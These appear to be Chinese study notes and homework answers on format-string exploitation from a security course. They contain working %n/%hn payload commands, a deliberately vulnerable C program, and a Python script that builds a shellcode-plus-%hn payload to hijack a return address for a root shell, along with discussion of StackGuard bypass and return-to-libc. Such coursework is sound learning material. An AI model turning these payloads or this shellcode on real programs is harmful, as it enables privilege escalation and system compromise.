这个%x可以试出来。第六个刚好出来0x11223344,然后我们就把这里放成%n,然后覆盖进去刚好是0x2c也就是44 (前面已打印了4个字节的地址(显示为乱码)和5组8位的十六进制数及5个点,共计44个字符。因此,var的值被修改为了44(即0x2c)。)【仔细思考,%x和%d没区别】
具体怎么算的比较奇妙
假设我们想改成定值,那么就用精度修饰符.number即可,.5就是控制5位,直接看例
$ echo $(printf "\x04\xf3\xff\xbf")%.8x%.8x%.8x%.8x\%.10000000x%n > input
$ uvl < input
Target address: bffff304
Data at target address: 0x11223344
Please enter a string: ****00000063b7fc5ac0b7eb8309bffff33f000000
00000000000000(many 0's omitted)000000000000011223344
Data at target address: 0x9896a4最后一个x前,打印36个,4个来自开始地址,32个是四个.8x导致的,就是10000036
为了将内存修改为任意指定值(如0x66887799),直接利用%n打印十几亿字符效率极低。更高效的方法是利用printf的长度修饰符,实现分字节写入。
- %n:写入4字节整数。
- %hn:写入2字节短整数。
- %hhn:写入1字节字符。
我们可以将目标值0x66887799拆分为两部分:高2位的0x6688和低2位的0x7799。分别使用两个%hn对var的高地址(0xbffff306)和低地址(0xbffff304)进行写入。
简单来说就是拆位
# Payload: [高地址][填充][低地址][移动指针][打印到0x6688][写入高位][打印差值][写入低位]
$ echo $(printf "\x06\xf3\xff\xbf@@@@\x04\xf3\xff\xbf")%.8x%.8x%.8x%.8x%.26204x%hn%.4369x%hn > input
$ ./vul < input
...
目标地址数据: 0x66887799 <-- 值被精准修改![[Pasted image 20251113105520.png]] 一张图就看懂了,本质上用的溢出
利用格式化字符串漏洞实现代码注入与提权
#include <stdio.h>
void fmtstr(char *str)
{
unsigned int *framep;
unsigned int *ret;
// Copy ebp into framep
asm("movl %%ebp, %0" : "=r" (framep)); 🅰
ret = framep + 1;
/* print out information for experiment purpose */
printf("The address of the input array: 0x%.8x\n",
(unsigned)str);
printf("The value of the frame pointer: 0x%.8x\n",
(unsigned)framep);
printf("The value of the return address: 0x%.8x\n", *ret);
printf(str); // The vulnerable place
printf("\nThe value of the return address: 0x%.8x\n", *ret);
}
int main(int argc, char **argv)
{
FILE *badfile;
char str[200];
badfile = fopen("badfile", "rb");
fread(str, sizeof(char), 200, badfile);
fmtstr(str);
return 1;
}![[Pasted image 20251113121132.png]] 一个代码就把模板说出来了
#!/usr/bin/python3
import sys
shellcode= (
"\x31\xc0\x31\xdb\xb0\xd5\xcd\x80" 🅰
"\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50"
"\x53\x89\xe1\x99\xb0\x0b\xcd\x80\x00"
).encode('latin-1')
N = 200
# 往字符串里填满NOP
content = bytearray(0x90 for i in range(N))
# 把shellcode放在尾部
start = N - len(shellcode)
content[start:] = shellcode
# 把返回值域的地址放在格式化字符串的头部
addr1 = 0xbfffebee 🅱
addr2 = 0xbfffebec
content[0:4] = (addr1).to_bytes(4,byteorder='little')
content[4:8] = ("@@@@").encode('latin-1')
content[8:12] = (addr2).to_bytes(4,byteorder='little') 🅲
# 加上 %x 和 %hn
small = 0xbfff - 12 - 19*8 🅳
large = 0xeca4 - 0xbfff
s = "%.8x"*19 + "%." + str(small) + "x%hn%." \
+ str(large) + "x%hn"
fmt = (s).encode('latin-1')
content[12:12+len(fmt)] = fmt 🅴
# 把构造好的字符串写入文件
with open('badfile', 'wb') as f:
f.write(content)不额外解释了 试错次数等于第一次出现var值的%x的位次-1【用(高占低共12个字节)+ [%x]*N去试】
高占低 + (试错次数减一)个[%.8x/%.8d] + %.$(ret高2字节-12-8*(试错次数减一))x + %hn + %.$(ret低2字节-高2字节)【溢出则循环】x + %hn习题
![[Pasted image 20251130160441.png]]
S6.1. 编写可变参数函数
题目大意:请编写一个函数,接受可变数量的字符串作为参数,并打印出它们的总长度。
前置知识: 在 C 语言中,当函数参数数量不确定时(比如 printf),需要使用 <stdarg.h> 库。
va_list: 用于遍历参数的指针。va_start: 初始化指针。va_arg: 获取下一个参数。va_end: 清理指针。- 关键点:函数需要知道什么时候停止读取参数,通常通过一个特殊的结束标记(如
NULL)或者第一个参数指定数量。这里我们使用NULL作为哨兵值。
详细解答:
#include <stdio.h>
#include `<stdarg.h>`
#include <string.h>
// 函数定义:接受可变数量的参数
void printTotalLength(char *firstStr, ...) {
int totalLen = 0;
char *str;
// 如果第一个参数就是 NULL,直接返回
if (firstStr == NULL) {
printf("Total length: 0\n");
return;
}
totalLen += strlen(firstStr);
va_list ap; // 定义参数列表指针
va_start(ap, firstStr); // 初始化,从 firstStr 之后开始获取
// 循环读取后续参数,直到遇到 NULL
while ((str = va_arg(ap, char *)) != NULL) {
totalLen += strlen(str);
}
va_end(ap); // 清理
printf("Total length: %d\n", totalLen);
}
// 用法示例:printTotalLength("Hello", "World", NULL);S6.2. 缓冲区溢出 vs 格式化字符串漏洞
题目大意:缓冲区溢出和格式化字符串漏洞都能修改栈上的“返回地址”,从而改变程序流。请描述两者的修改方式有何不同,并评价谁的限制更少。
详细解答:
修改方式的区别:
- 缓冲区溢出 (Buffer Overflow):这是一种连续的内存破坏。攻击者必须从缓冲区开始,填满所有中间的内存空间,直到覆盖到返回地址。就像把水倒进杯子溢出来弄湿桌布一样,你不能跳过中间的区域。
- 格式化字符串 (Format String):这是一种指针算术写入。通过构造特定的格式化字符(如
%10$n),攻击者可以直接“计算”出栈上任意位置的指针,并向该地址写入数据。它像狙击手一样,不需要触碰中间的数据,直接跳跃到目标地址进行修改。
谁受到的限制更少?
- 格式化字符串漏洞受限更少(更灵活)。
- 原因:缓冲区溢出要求缓冲区和返回地址之间是连续可写的,如果中间有“金丝雀值 (Canary)”保护(StackGuard),攻击就会失败。而格式化字符串漏洞可以利用
%n精确打击,绕过中间的保护机制(如 Canary),直接修改返回地址。
S6.3. StackGuard 对格式化字符串的防御
题目大意:我们可以使用 StackGuard(栈保护/金丝雀)来防御格式化字符串攻击吗?
详细解答:
- 不能。
- 原因:StackGuard 的原理是在返回地址和局部变量之间放置一个随机数(Canary)。函数返回前检查这个数是否被修改,以判断是否发生了连续的缓冲区溢出。
- 如 S6.2 所述,格式化字符串攻击使用的是非连续写入。攻击者可以使用
%n配合偏移量,直接定位到返回地址所在的内存单元进行修改,完全不触碰也不改变 Canary 的值。因此,StackGuard 无法检测到这种攻击。
S6.4. 100% 造成程序崩溃
题目大意:printf(fmt) 执行时,栈上有 fmt 指针,后面紧跟着四个 4 字节数值:0xAABBCCDD, 0xAABBDDFF, 0x22334455, 0x00000000。如果你能控制 fmt 字符串,最少用几个格式说明符能保证程序 100% 崩溃?
前置知识:
%s说明符的作用是:取出栈上的数值作为内存地址,然后去读取该地址处的字符串。- 如果你让
%s去读取一个无效地址(如0x00000000即 NULL,或者未映射的内存),程序会触发段错误 (Segmentation Fault) 并崩溃。
详细解答:
- 分析:
- 第 1 个参数位:
0xAABBCCDD。这个地址 可能 是合法的(虽然概率小,但在某些系统中可能是内核或栈地址),读取它不一定会立刻崩溃。 - 第 2 个参数位:
0xAABBDDFF。同上,不确定的风险。 - 第 3 个参数位:
0x22334455。同上。 - 第 4 个参数位:
0x00000000。这是 NULL 指针。在任何现代操作系统中,尝试读取地址 0 的内容 绝对 会导致崩溃。
- 第 1 个参数位:
- 结论:为了保证 100% 的概率,我们必须让
printf读到第 4 个数值并将其作为地址解析。 - 构造:我们需要“吃掉”前 3 个数值,然后对第 4 个数值使用
%s。 - 答案:最少需要 4 个说明符。例如:
%d%d%d%s或%x%x%x%s(甚至%s%s%s%s也可以,只要前三个碰巧没崩,第四个必崩;但为了从逻辑上“到达”第四个,4个是必须的)。
S6.5. 构造攻击 Payload (基础)
题目大意:根据图1(Figure 1),用户输入被存放在 Buffer(区域2)。fmt 变量指向这个 Buffer。
- Buffer 地址(即
fmt的值):0xAABBCCDD。 - 返回地址存放位置(区域1):
0xAABBCDA6。 fmt变量本身的地址(区域3)与 Buffer 之间相距 28 字节。- 目标:让程序执行存储在 Buffer 中的“恶意代码 (malicious code)”。请写出输入的具体内容结构。
前置知识:
printf的参数是放在栈上的。当执行printf(fmt)时,fmt字符串本身在栈上(由fmt指针指向)。- 计算偏移:我们需要用
%x来“路过”栈上的数据,直到printf的内部指针指向我们的 Buffer 开头。 - 题目说
fmt变量地址和 Buffer 之间有 28 字节。栈宽通常是 4 字节。。这意味着,栈上第 7 个参数位置之后,就是我们的 Buffer 内容。 - 攻击逻辑:我们将“目标地址(返回地址的地址)”放在 Buffer 开头,然后用
%x移动指针,最后用%n向这个目标地址写入数据。 - 写入什么值? 我们希望返回地址变成 Buffer 的起始地址(即恶意代码的位置),也就是
0xAABBCCDD。
详细解答: 我们需要构造的输入字符串(即 fmt 指针指向的内容)如下:
- 目标地址:我们想覆盖的地址是
0xAABBCDA6。放在字符串开头(4字节)。 - 填充/恶意代码:紧接着是我们的恶意代码(Shellcode)。
- 格式说明符:
- 我们需要跳过栈上这 28 字节的间隔。也就是 7 个
%x(每个吃掉4字节)。 - 但是等等,我们将“目标地址”放在了 Buffer 的最开头。所以当指针跳过 28 字节后,它正指向 Buffer 的开头,也就是指向了
0xAABBCDA6这个数值。 - 此时使用
%n,就会向0xAABBCDA6指向的内存单元写入当前打印的字符数。
- 我们需要跳过栈上这 28 字节的间隔。也就是 7 个
修正后的精确结构: 为了让 %n 写入的值等于 0xAABBCCDD (十进制 2,864,434,397),我们需要在 %n 之前打印这么多字符。
输入内容布局: [目标地址 0xAABBCDA6] [恶意代码 Shellcode] [填充字符] [%x ... %x] [%n]
注意:这道题只要求写出结构,不需要计算精确的 padding 字符数。关键在于利用 28 字节偏移。
答案结构:
\xA6\xCD\xBB\xAA <-- 目标地址 (Little Endian, 4 bytes)
[Malicious Code] <-- 恶意代码存放于此
... <-- 适当的填充字符,使 %n 之前的总打印字符数等于 0xAABBCCDD
%x%x%x%x%x%x%x <-- 7个 %x 用来跳过栈上 28 字节的距离
%n <-- 将当前打印字符数写入到栈顶指针指向的地址 (即开头的目标地址)(注意:通常为了对齐,我们可能需要在 %x 和 %n 之间微调,但基于题目描述,核心是 7 个 4字节偏移)
S6.6. 缩短打印字符数 (< 80,000)
题目大意:S6.5 的方案需要打印 28 亿个字符,太慢了。请修改方案,使打印字符总数少于 80,000。
前置知识:
%hn:这是%n的短整数(short)版本,一次只写 2 个字节(16 bit)。- 要写入一个大数
0xAABBCCDD,我们可以把它拆成两半:高位0xAABB和 低位0xCCDD。 - 我们需要写两次。一次向地址
ADDR写入低位,一次向ADDR+2写入高位。 0xAABB(43707) 和0xCCDD(52445) 都小于 80,000。
详细解答: 我们需要构造两个地址在 Buffer 开头:
- 地址1:
0xAABBCDA6(用于写低位0xCCDD) - 地址2:
0xAABBCDA8(即 A6 + 2,用于写高位0xAABB)
输入字符串结构:
[Addr1: \xA6\xCD\xBB\xAA] (4 bytes)
[Addr2: \xA8\xCD\xBB\xAA] (4 bytes)
[Malicious Code / Padding]
[7个 %x] (用来跳过栈间隔)
%unc_padding_1 (输出一些空格,使总长度达到 0xCCDD = 52445)
%hn (写入低位)
%unc_padding_2 (继续输出空格,使总长度达到 0x1AABB = 109243,注意这是溢出写法,或者调整顺序)
%hn (写入高位)技巧:由于 0xCCDD (52445) > 0xAABB (43707),我们可以先写小的,或者利用整数溢出(打印到 65536 + 43707)。题目只要求总字符少于 80,000,这暗示我们应该先写小的值,再写大的值? 不对,这里的值是 0xCCDD 和 0xAABB。 如果先写 0xAABB (43707),再加 padding 到 0xCCDD (52445),增量是正数,总数 52445 < 80,000。符合题意。
最终方案逻辑:
- 放入地址
Addr_High(...A8) 和Addr_Low(...A6)。 - 利用
%x跳到这两个地址的位置。 - 利用精度控制
%43000x等方式凑字数。 - 先让计数器达到
0xAABB,对Addr_High用%hn。 - 再增加计数器达到
0xCCDD,对Addr_Low用%hn。 总打印字符数:0xCCDD(约 5.2 万),满足 < 80,000 要求。
S6.7. 字节未对齐 (26 字节)
题目大意:如果 fmt 和 Buffer 的距离是 26 字节(不是 4 的倍数),该怎么构造?
核心难点: 栈操作(如 %x)是以 4 字节(Word)为单位移动的。26 = 6 * 4 + 2。 如果我们直接放地址在 Buffer 开头,printf 读过 6 个整数后,指针会停在 Buffer 之前的 2 个字节处。此时读取下一个 4 字节,会读到 [2字节垃圾数据] + [地址的前2字节],导致地址错位,无法正确使用 %n。
详细解答: 我们需要在 Buffer 的最开头填充 2 字节的垃圾数据,强行让后面的地址对齐到 4 字节边界。
输入构造:
- 填充:
XX(2 bytes)。此时 Buffer 偏移变成 26 + 2 = 28 bytes。 - 目标地址:
0xAABBCDA6。 - 后续逻辑:同 S6.5。
- 由于现在总距离(栈间隔+填充)看起来像是 28 字节(7个字),我们可以安全地使用 7 个
%x移动指针,第 8 个参数位置就会完美对齐我们的目标地址。
答案字符串: XX + [Address] + [Malicious Code] + %x... + %n
![[Pasted image 20251130160522.png]]
S6.8. 多目标地址爆破 (★)
题目大意:我们不知道确切的返回地址,只知道它在 ...A0, ...A4, ...A8, ...AC 这四个地址之一。请构造一个字符串,一次性搞定所有可能,且打印字符少于 80,000。
策略: 我们需要把这 4 个地址都作为目标写入。因为只有一个是真正的返回地址,覆盖其他的(通常是上一层栈帧的指针)虽然有副作用,但为了 Exploitation 成功通常是可以接受的。
详细解答:
数据准备:我们要往这 4 个地址写入相同的值(即 Shellcode 地址
0xAABBCCDD)。利用 %hn:同 S6.6,我们需要分高低位写。
- 目标值:High
0xAABB, Low0xCCDD。 - 我们需要对 4 个地址分别写 Low,对 4 个地址分别写 High。总共 8 次写入?不,我们可以成批操作。
- 目标值:High
Input 布局: 在 Buffer 开头放入所有需要的地址。为了对齐和方便,我们可以交替放,或者利用
%n的特性。 最简单的方法:- 把
A0, A4, A8, AC这四个地址都放在 Buffer 开头。 - 但是我们要写两半。所以我们需要构造 8 个指针在栈上?
- 更聪明的做法:因为要写入的值是一样的。
- 我们可以构造:
[A0_L][A4_L][A8_L][AC_L](一组用于写低位0xCCDD)[A0_H][A4_H][A8_H][AC_H](一组用于写高位0xAABB) (每个地址4字节,共 32 字节头部)
- 把
执行流:
- 跳过前面的头部(计算好
%x的数量)。 - 第一阶段:输出字符达到
0xAABB(43707)。 - 连续使用 4 个
%hn。这会把0xAABB写入到A0_H, A4_H, A8_H, AC_H。 - 第二阶段:继续输出字符,补足差额直到
0xCCDD(52445)。 - 连续使用 4 个
%hn。这会把0xCCDD写入到A0_L, A4_L, A8_L, AC_L。
- 跳过前面的头部(计算好
结果:所有 4 个潜在位置都被写入了
0xAABBCCDD。无论哪个是真正的返回地址,攻击都会成功。总字符数52445 < 80,000。
S6.9. 编译器的参数检查
题目大意:编译器如果发现 printf 参数数量和格式说明符不匹配会报警。这有什么局限性?
详细解答:
- 局限性:编译器只能检查字符串字面量 (String Literal)。
- 如果代码是
printf("%s %d", arg1);,编译器能发现少了一个参数。 - 但格式化字符串漏洞通常发生在
printf(fmt),其中fmt是一个运行时由用户输入的变量。编译器在编译阶段无法知道fmt里面将会是什么内容,因此无法进行检查。
S6.10. 暂时降低权限
题目大意:在执行 printf 前暂时丢弃特权(如 root),执行后再恢复(或无法恢复)。这对防御有用吗?
详细解答:
- 有用,这叫最小权限原则 (Principle of Least Privilege)。
- 如果攻击者成功利用漏洞劫持了程序流并打开了一个 Shell,这个 Shell 将只有程序当前的权限。
- 如果在
printf期间程序以普通用户权限运行,攻击者得到的也就是一个普通用户的 Shell,造成的危害比 Root Shell 小得多。这是一个很好的纵深防御 (Defense in Depth) 策略。
S6.11. 不可执行栈 (Non-executable Stack)
题目大意:如果栈不可执行,还能利用格式化字符串漏洞获取 Shell 吗?
详细解答:
- 可以。
- 方法:虽然不能在栈上执行我们注入的 Shellcode,但我们可以利用 Return-to-Libc 攻击。
- 我们不把返回地址改成栈上的地址,而是把它改成标准库函数
system()的地址。同时,我们通过精心构造栈结构,把字符串"/bin/sh"的地址作为参数传给system()。这样程序返回时就会执行system("/bin/sh")。
S6.12. Return-to-Libc 实现细节
题目大意:如何利用格式化字符串漏洞实现 Return-to-Libc?结合图1描述需要修改栈的哪些部分。
详细解答: 我们需要利用格式化字符串的任意写能力(%n),修改栈上的数据以模拟函数调用 system("/bin/sh") 的栈帧结构。
在 Figure 1 的语境下,我们需要修改 Region 1 (Return Address) 及其上方的内存:
- 覆盖 Return Address (Region 1):将其修改为
system()函数在内存中的真实地址。 - 构造伪造的返回地址:在 Region 1 的高地址方向紧邻的位置(即
Region 1 + 4),通常需要放一个“函数执行完后的返回地址”(例如exit()的地址),以保证system结束后程序能优雅退出(虽然对攻击本身不是必须的,但符合调用约定)。 - 构造参数:在下一个位置(即
Region 1 + 8),我们需要写入指向字符串"/bin/sh"的指针地址。
总结:利用 %n 分别向这三个连续的栈地址写入特定的数值。
S6.13. 写入小数字 (如 0)
题目大意:如果想往目标地址写 0,但 printf 在移动指针到目标位置时必然已经打印了一些字符(导致计数器非零),还能写 0 吗?
详细解答:
- 可以。
- 原理:整数溢出 (Integer Overflow)。
%n(或%hn) 写入的是打印字符总数。如果使用%hn(写入 2 字节,范围 0-65535),该计数器在超过 65535 后会回绕 (Wrap around)。- 操作:假设为了移动指针我们已经打印了 5 个字符。我们继续打印填充字符,直到总数达到
65536(即0x10000)。 - 此时执行
%hn,它截取低 16 位,即0x0000,也就是0。从而成功写入 0。